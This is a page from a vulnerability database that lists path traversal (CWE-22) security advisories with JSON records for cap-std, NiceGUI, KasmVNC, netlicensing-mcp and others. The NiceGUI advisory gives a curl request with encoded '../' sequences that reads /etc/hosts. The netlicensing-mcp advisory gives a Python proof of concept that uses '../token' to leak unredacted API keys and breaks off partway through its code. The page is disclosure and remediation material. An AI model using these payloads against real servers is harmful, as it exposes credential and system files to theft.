Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13318 vulnerabilities reference this CWE, most recent first.

GHSA-HXF5-99XG-86HW

Vulnerability from github – Published: 2024-11-05 22:19 – Updated: 2025-12-20 05:46
VLAI
Summary
cap-std doesn't fully sandbox all the Windows device filenames
Details

Impact

cap-std's filesystem sandbox implementation on Windows blocks access to special device filenames such as "COM1", "COM2", "LPT0", "LPT1", and so on, however it did not block access to the special device filenames which use superscript digits, such as "COM¹", "COM²", "LPT⁰", "LPT¹", and so on. Untrusted filesystem paths could bypass the sandbox and access devices through those special device filenames with superscript digits, and through them provide access peripheral devices connected to the computer, or network resources mapped to those devices. This can include modems, printers, network printers, and any other device connected to a serial or parallel port, including emulated USB serial ports.

Patches

The bug is fixed in https://github.com/bytecodealliance/cap-std/pull/371, which is published in cap-primitives 3.4.1, cap-std 3.4.1, and cap-async-std 3.4.1.

Workarounds

There are no known workarounds for this issue. Affected Windows users are recommended to upgrade.

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "cap-std"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "cap-async-std"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "cap-primitives"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-05T22:19:59Z",
    "nvd_published_at": "2024-11-05T22:15:21Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\ncap-std\u0027s filesystem sandbox implementation on Windows blocks access to special device filenames such as \"COM1\", \"COM2\", \"LPT0\", \"LPT1\", and so on, however it did not block access to the special device filenames which use superscript digits, such as \"COM\u00b9\", \"COM\u00b2\", \"LPT\u2070\", \"LPT\u00b9\", and so on. Untrusted filesystem paths could bypass the sandbox and access devices through those special device filenames with superscript digits, and through them provide access peripheral devices connected to the computer, or network resources mapped to those devices. This can include modems, printers, network printers, and any other device connected to a serial or parallel port, including emulated USB serial ports.\n\n### Patches\n\nThe bug is fixed in https://github.com/bytecodealliance/cap-std/pull/371, which is published in cap-primitives 3.4.1, cap-std 3.4.1, and cap-async-std 3.4.1.\n\n### Workarounds\n\nThere are no known workarounds for this issue. Affected Windows users are recommended to upgrade.\n\n### References\n\n - [Microsoft\u0027s documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file#naming-conventions) of the special device filenames\n - [ISO-8859-1](https://en.wikipedia.org/wiki/ISO/IEC_8859-1)\n - https://github.com/bytecodealliance/cap-std/pull/371",
  "id": "GHSA-hxf5-99xg-86hw",
  "modified": "2025-12-20T05:46:02Z",
  "published": "2024-11-05T22:19:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/cap-std/security/advisories/GHSA-hxf5-99xg-86hw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/cap-std/pull/371"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/cap-std/commit/dcc3818039761331fbeacbb3a40c542b65b5ebf7"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/ISO/IEC_8859-1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytecodealliance/cap-std"
    },
    {
      "type": "WEB",
      "url": "https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file#naming-conventions"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0445.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cap-std doesn\u0027t fully sandbox all the Windows device filenames"
}

GHSA-HXGH-CC73-Q76H

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

Allegra serveMathJaxLibraries Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Allegra. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the serveMathJaxLibraries method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-22532.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-52332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T20:15:07Z",
    "severity": "HIGH"
  },
  "details": "Allegra serveMathJaxLibraries Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Allegra. Authentication is not required to exploit this vulnerability. \n\nThe specific flaw exists within the serveMathJaxLibraries method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-22532.",
  "id": "GHSA-hxgh-cc73-q76h",
  "modified": "2024-11-22T21:32:16Z",
  "published": "2024-11-22T21:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52332"
    },
    {
      "type": "WEB",
      "url": "https://www.trackplus.com/en/service/release-notes-reader/7-5-1-release-notes-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-100"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXGP-FF53-M8JR

Vulnerability from github – Published: 2022-07-26 00:01 – Updated: 2022-08-02 00:00
VLAI
Details

A vulnerability was found in Tecrail Responsive Filemanger up to 9.10.x and classified as critical. The manipulation leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 9.11.0 is able to address this issue. It is recommended to upgrade the affected component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-20145"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-25T05:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability was found in Tecrail Responsive Filemanger up to 9.10.x and classified as critical. The manipulation leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 9.11.0 is able to address this issue. It is recommended to upgrade the affected component.",
  "id": "GHSA-hxgp-ff53-m8jr",
  "modified": "2022-08-02T00:00:25Z",
  "published": "2022-07-26T00:01:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20145"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.96818"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Feb/19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXJJ-5W2H-X8FG

Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38
VLAI
Details

Directory traversal vulnerability in synophoto_dsm_user, a SUID program, as used in Synology Photo Station before 6.5.3-3226 allows local users to write to arbitrary files via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-10330"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-12T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in synophoto_dsm_user, a SUID program, as used in Synology Photo Station before 6.5.3-3226 allows local users to write to arbitrary files via unspecified vectors.",
  "id": "GHSA-hxjj-5w2h-x8fg",
  "modified": "2022-05-13T01:38:51Z",
  "published": "2022-05-13T01:38:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10330"
    },
    {
      "type": "WEB",
      "url": "https://bamboofox.github.io/2017/03/20/Synology-Bug-Bounty-2016/#Vul-03-Read-Write-Arbitrary-Files"
    },
    {
      "type": "WEB",
      "url": "https://bamboofox.github.io/2017/03/20/Synology-Bug-Bounty-2016/#Vul-04-Privilege-Escalation"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/support/security/Photo_Station_6_5_3_3226"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/oss-sec/2016/q1/236"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXP3-63HC-5366

Vulnerability from github – Published: 2025-12-09 14:25 – Updated: 2026-01-08 20:44
VLAI
Summary
NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read
Details

Summary

A directory traversal vulnerability in NiceGUI's App.add_media_files() allows a remote attacker to read arbitrary files on the server filesystem.

Details

Hello, I am Seungbin Yang, a university student studying cybersecurity. While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.

The App.add_media_files(url_path, local_directory) method allows users to serve media files. However, the implementation lacks proper path validation.

def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
    @self.get(url_path.rstrip('/') + '/{filename:path}')
    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
        filepath = Path(local_directory) / filename
        if not filepath.is_file():
            raise HTTPException(status_code=404, detail='Not Found')
        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)

Root Cause: 1. The {filename:path} parameter accepts full paths, including traversal sequences like ../. 2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory. 3. There is no path sanitization or boundary check.

Consequence: An attacker can use .. to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.

POC

  1. Create poc.py:
# poc.py
from pathlib import Path
from nicegui import app, ui

MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)

# Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)

@ui.page('/')
def index():
    ui.label('NiceGUI media PoC')

ui.run(port=8080, reload=False)
  1. Run the application: python3 poc.py

  2. Exploit with curl: Use URL-encoded dots (%2e) to bypass client-side checks. curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"

Result:

The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.

I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.

POC screenshot

Impact

Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:

•Application source code and configuration files •Credentials, API keys, and secrets •Operating system configuration files (e.g., /etc/passwd, /etc/hosts)

This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.

Thank you.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nicegui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-09T14:25:15Z",
    "nvd_published_at": "2025-12-09T22:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA directory traversal vulnerability in NiceGUI\u0027s `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.\n\n### Details\n\nHello, I am Seungbin Yang, a university student studying cybersecurity. \nWhile reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.\n\nThe `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.\n\n```python\ndef add_media_files(self, url_path: str, local_directory: Union[str, Path]) -\u003e None:\n    @self.get(url_path.rstrip(\u0027/\u0027) + \u0027/{filename:path}\u0027)\n    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -\u003e Response:\n        filepath = Path(local_directory) / filename\n        if not filepath.is_file():\n            raise HTTPException(status_code=404, detail=\u0027Not Found\u0027)\n        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)\n```\nRoot Cause:\n1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`.\n2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.\n3. There is no path sanitization or boundary check.\n\nConsequence:\nAn attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.\n\n### POC\n1. Create `poc.py`:\n```python\n# poc.py\nfrom pathlib import Path\nfrom nicegui import app, ui\n\nMEDIA_DIR = Path(__file__).parent / \u0027media\u0027\nMEDIA_DIR.mkdir(exist_ok=True)\n\n# Expose local \"media\" directory at /media\napp.add_media_files(\u0027/media\u0027, MEDIA_DIR)\n\n@ui.page(\u0027/\u0027)\ndef index():\n    ui.label(\u0027NiceGUI media PoC\u0027)\n\nui.run(port=8080, reload=False)\n```\n\n2. Run the application: `python3 poc.py`\n\n3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks.\n```curl -v \"http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts\"```\n\n\n### Result:\nThe HTTP status is 200 OK, and the response body contains the contents of the server\u2019s /etc/hosts file.\n\nI have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.\n\n\u003cimg width=\"1728\" height=\"1078\" alt=\"POC screenshot\" src=\"https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775\" /\u003e\n\n### Impact\n\nAny NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:\n\n\u2022Application source code and configuration files\n\u2022Credentials, API keys, and secrets\n\u2022Operating system configuration files (e.g., /etc/passwd, /etc/hosts)\n\nThis is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.\n\nThank you.",
  "id": "GHSA-hxp3-63hc-5366",
  "modified": "2026-01-08T20:44:47Z",
  "published": "2025-12-09T14:25:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zauberzeug/nicegui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read"
}

GHSA-HXP3-8J8H-99R8

Vulnerability from github – Published: 2022-05-14 02:11 – Updated: 2022-05-14 02:11
VLAI
Details

Directory traversal vulnerability in Google Chrome before 24.0.1312.52 allows remote attackers to have an unspecified impact by leveraging access to an extension process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-0831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-01-15T21:55:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in Google Chrome before 24.0.1312.52 allows remote attackers to have an unspecified impact by leveraging access to an extension process.",
  "id": "GHSA-hxp3-8j8h-99r8",
  "modified": "2022-05-14T02:11:08Z",
  "published": "2022-05-14T02:11:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0831"
    },
    {
      "type": "WEB",
      "url": "https://code.google.com/p/chromium/issues/detail?id=161836"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A15917"
    },
    {
      "type": "WEB",
      "url": "http://googlechromereleases.blogspot.com/2013/01/stable-channel-update.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2013-02/msg00005.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HXP6-963M-8348

Vulnerability from github – Published: 2022-05-14 02:40 – Updated: 2022-05-14 02:40
VLAI
Details

Directory traversal vulnerability in idm/includes/helpServer.jsp in Sun Java System Identity Manager 6.0 through 6.0 SP4, 7.0, and 7.1 allows remote attackers to read arbitrary files in the filesystem of the IDM server via directory traversal sequences in the ext parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-5116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-11-18T00:30:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in idm/includes/helpServer.jsp in Sun Java System Identity Manager 6.0 through 6.0 SP4, 7.0, and 7.1 allows remote attackers to read arbitrary files in the filesystem of the IDM server via directory traversal sequences in the ext parameter.",
  "id": "GHSA-hxp6-963m-8348",
  "modified": "2022-05-14T02:40:42Z",
  "published": "2022-05-14T02:40:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5116"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46554"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/49767"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32606"
    },
    {
      "type": "WEB",
      "url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-243386-1"
    },
    {
      "type": "WEB",
      "url": "http://www.procheckup.com/Vulnerability_PR08-09.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/498487/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32262"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1021170"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/3128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HXP8-XJHV-R6WV

Vulnerability from github – Published: 2024-06-17 21:31 – Updated: 2024-11-06 18:31
VLAI
Details

A Directory Traversal vulnerability in KasmVNC 1.3.1.230e50f7b89663316c70de7b0e3db6f6b9340489 and possibly earlier versions allows remote authenticated attackers to browse parent directories and read the content of files outside the scope of the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-38449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-17T19:15:58Z",
    "severity": "HIGH"
  },
  "details": "A Directory Traversal vulnerability in KasmVNC 1.3.1.230e50f7b89663316c70de7b0e3db6f6b9340489 and possibly earlier versions allows remote authenticated attackers to browse parent directories and read the content of files outside the scope of the application.",
  "id": "GHSA-hxp8-xjhv-r6wv",
  "modified": "2024-11-06T18:31:05Z",
  "published": "2024-06-17T21:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kasmtech/KasmVNC/issues/254"
    },
    {
      "type": "WEB",
      "url": "https://kasmweb.atlassian.net/servicedesk/customer/portal/3/topic/30ffee7f-4b85-4783-b118-6ae4fd8b0c52"
    },
    {
      "type": "WEB",
      "url": "https://kasmweb.com/kasmvnc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXPF-9XVQ-WPH8

Vulnerability from github – Published: 2026-06-18 17:22 – Updated: 2026-07-21 13:41
VLAI
Summary
netlicensing-mcp: REST Path Traversal Bypasses Token Redaction
Details

REST Path Traversal Bypasses Token Redaction in netlicensing-mcp

Summary

The netlicensing_get_product MCP tool in netlicensing-mcp interpolates a caller-controlled product_number argument directly into a REST URL path without any validation. Passing ../token as the product number causes httpx to normalize /product/../token into /token, silently redirecting the request to the NetLicensing token endpoint instead of the intended product endpoint. The response is then serialized through the generic _wrap_json wrapper rather than the token-specific _wrap_json_token_read wrapper, bypassing all APIKEY number and SHOP shopURL redaction. An authenticated MCP client can recover plaintext API key values that the token read tools intentionally mask, including admin-level APIKEY credentials.

Details

The vulnerability is a path traversal (CWE-22) that exploits the interaction between unsanitized string interpolation and httpx's WHATWG URL normalization.

Source — src/netlicensing_mcp/tools/products.py:22

async def get_product(product_number: str) -> dict:
    """Get a single product by its number."""
    return strip_output_fields(await nl_get(f"/product/{product_number}"))

product_number is inserted directly into the REST path with no validation. A value of ../token produces the path /product/../token.

Sink — src/netlicensing_mcp/client.py:143

async def nl_get(path: str, params: dict[str, str] | None = None) -> dict[str, Any]:
    client = _get_client()
    url = f"{BASE_URL}{path}"
    ...
    r = await client.get(url, headers=_headers(), params=params or {})

httpx constructs the full URL as {BASE_URL}/product/../token and, per WHATWG URL normalization rules applied to absolute URLs, resolves it to {BASE_URL}/token. The HTTP request is therefore sent to the NetLicensing /core/v2/rest/token endpoint.

Redaction bypass — src/netlicensing_mcp/server.py:336 and src/netlicensing_mcp/redaction.py:180-239

The tool handler wraps the response via _wrap_json(entity, "Product"), which calls only the generic _json() redaction. The token-specific path _wrap_json_token_read()redact_token_read() is never invoked. The function redact_token_read() at redaction.py:180-239 is the only code that masks APIKEY number and SHOP shopURL fields; because it is not on this code path, the raw API key value is returned verbatim in the MCP tool output.

Complete data flow:

  1. server.py:312-321 — MCP dispatcher receives attacker-controlled product_number and calls products.get_product(product_number).
  2. tools/products.py:22 — value interpolated into f"/product/{product_number}" without validation.
  3. client.py:143url = f"{BASE_URL}{path}"; httpx normalizes ../ and sends request to /token endpoint.
  4. server.py:336 — response wrapped as "Product" via _wrap_json, not _wrap_json_token_read.
  5. server.py:160-165 — generic _json() redaction applies only default-field masking.
  6. redaction.py:180-239redact_token_read() with APIKEY/SHOP-specific masking is never reached.

PoC

Prerequisites

  • Python 3.10+
  • netlicensing-mcp 0.1.5 (or local commit c8a3fec) installed or available via PYTHONPATH
  • httpx, python-dotenv, mcp[cli] installed

Option A — Docker (recommended, reproduces Phase 2 result)

# Build from the repository root (requires repo/ and vuln-001/ directories)
docker build -t netlicensing-vuln-001 \
  -f vuln-001/Dockerfile \
  reports/pypiAi_1561_Labs64__NetLicensing-MCP/

# Run — exit code 0 confirms the vulnerability
docker run --rm netlicensing-vuln-001

Option B — Direct Python

cd /path/to/Labs64__NetLicensing-MCP
PYTHONPATH=src python3 - <<'PY'
import asyncio, json, threading
from http.server import BaseHTTPRequestHandler, HTTPServer

seen = []
secret = "actual-api-key-value-5678"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        seen.append(self.path)
        if self.path.endswith("/token"):
            body = {"items":{"item":[{"type":"Token","property":[
                {"name":"number","value":secret},
                {"name":"tokenType","value":"APIKEY"},
                {"name":"role","value":"ROLE_APIKEY_ADMIN"},
                {"name":"active","value":"true"}
            ]}]}}
            data = json.dumps(body).encode()
            self.send_response(200)
            self.send_header("Content-Type","application/json")
            self.send_header("Content-Length",str(len(data)))
            self.end_headers()
            self.wfile.write(data)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *args): pass

srv = HTTPServer(("127.0.0.1", 0), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()

async def main():
    import netlicensing_mcp.client as c
    c.BASE_URL = f"http://127.0.0.1:{srv.server_port}/core/v2/rest"
    tok = c.api_key_ctx.set("dummy")
    try:
        from netlicensing_mcp.server import netlicensing_get_product
        out = await netlicensing_get_product("../token")
        print("UPSTREAM_PATH=" + seen[0])
        print("SECRET_LEAKED=" + str(secret in out))
        print(out)
    finally:
        c.api_key_ctx.reset(tok)
        await c.close_client()
        srv.shutdown()

asyncio.run(main())
PY

Expected output

UPSTREAM_PATH=/core/v2/rest/token
PATH_TRAVERSAL_OK=True
SECRET_LEAKED=True

=== MCP tool output (netlicensing_get_product('../token')) ===
{
  "number": "actual-api-key-value-5678",
  "tokenType": "APIKEY",
  "role": "ROLE_APIKEY_ADMIN",
  "active": true,
  "type": "Token",
  "console_url": "https://ui.netlicensing.io/#/tokens/actual-api-key-value-5678",
  "warnings": [],
  "suggested_actions": []
}
[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint and plaintext secret 'actual-api-key-value-5678' is present in MCP output

The number field contains the raw API key value and console_url embeds it in plaintext — both fields that redact_token_read() would otherwise mask.

Remediation

Add a centralized path-segment validator in client.py and call it from all HTTP helper functions (nl_get, nl_post, nl_put, nl_delete):

+from urllib.parse import unquote
+
+def _validated_path(path: str) -> str:
+    if not path.startswith("/"):
+        raise NetLicensingError(400, "Internal error: upstream path must start with '/'")
+    for segment in path.split("/"):
+        decoded = unquote(segment)
+        if decoded in {".", ".."} or "/" in decoded or "\\" in decoded:
+            raise NetLicensingError(400, "Invalid identifier: path separators are not allowed")
+        if any(ord(ch) < 32 for ch in decoded):
+            raise NetLicensingError(400, "Invalid identifier: control characters are not allowed")
+    return path
+
 async def nl_get(path: str, ...) -> dict[str, Any]:
-    url = f"{BASE_URL}{path}"
+    url = f"{BASE_URL}{_validated_path(path)}"

Apply the same change to nl_post, nl_put, and nl_delete. Add regression tests for inputs ../token, %2e%2e, %2f, and x/y.

Impact

An authenticated MCP client (one that already holds a NetLicensing API key sufficient to call any MCP tool) can call netlicensing_get_product("../token") to retrieve plaintext APIKEY number values and SHOP shopURL values that the dedicated token read tools (netlicensing_get_token, netlicensing_list_tokens) intentionally redact. If the retrieved token carries ROLE_APIKEY_ADMIN privileges, the attacker gains full read/write/delete access over all resources in the target NetLicensing account, escalating from a scoped MCP client to account owner.

This vulnerability is exploitable in any deployment mode — stdio (single-user) and HTTP/shared — because no non-default configuration is required. The attack requires only a valid API key to authenticate the MCP session; no admin privileges are needed to trigger the traversal.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

WORKDIR /app

# Copy the cloned repository source
COPY repo/ /app/repo/

# Install runtime dependencies directly to avoid hatch-vcs version-detection
# issues when building outside a proper git-tagged worktree.
RUN pip install --no-cache-dir \
    "httpx>=0.27.0" \
    "python-dotenv>=1.0.0" \
    "mcp[cli]>=1.7.0"

# Make the package importable via PYTHONPATH (avoids editable-install build step)
ENV PYTHONPATH=/app/repo/src

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

# Exit code 0 = PASS (secret leaked), 1 = FAIL
CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 Proof of Concept: REST Path Traversal Bypasses Token Redaction
=======================================================================
Vulnerability: netlicensing_get_product(product_number="../token")

Attack flow:
  1. product_number="../token" is interpolated into f"/product/{product_number}"
     => path = "/product/../token"
  2. client.py builds url = f"{BASE_URL}/product/../token"
  3. httpx normalizes the URL per WHATWG: /product/../token => /token
     => actual HTTP request lands on BASE_URL/token (the token endpoint)
  4. Response is wrapped via _wrap_json(..., "Product") which calls _json()
     => only default-field redaction (apiKey, secret, etc.) runs
     => _wrap_json_token_read() / redact_token_read() is NEVER called
  5. APIKEY token "number" field (= the raw API key value) is returned in
     plaintext in the MCP tool output.

Expected exit codes:
  0 — PASS: path traversal confirmed AND secret found in MCP output
  1 — FAIL: could not confirm the vulnerability
"""

import asyncio
import json
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# Sentinel value used as the fake APIKEY token number (the "leaked secret").
SECRET_APIKEY = "actual-api-key-value-5678"

# Collects every upstream request path received by the mock server.
seen_paths: list[str] = []


class MockNetLicensingHandler(BaseHTTPRequestHandler):
    """Minimal mock of the NetLicensing REST API for PoC isolation."""

    def do_GET(self) -> None:
        seen_paths.append(self.path)

        # Respond to ANY path ending with "/token" to capture both the
        # normalized (/core/v2/rest/token) and raw (/core/v2/rest/product/../token)
        # cases — in practice httpx always sends the normalized form.
        if self.path.endswith("/token"):
            body: dict = {
                "items": {
                    "item": [
                        {
                            "type": "Token",
                            "property": [
                                {"name": "number", "value": SECRET_APIKEY},
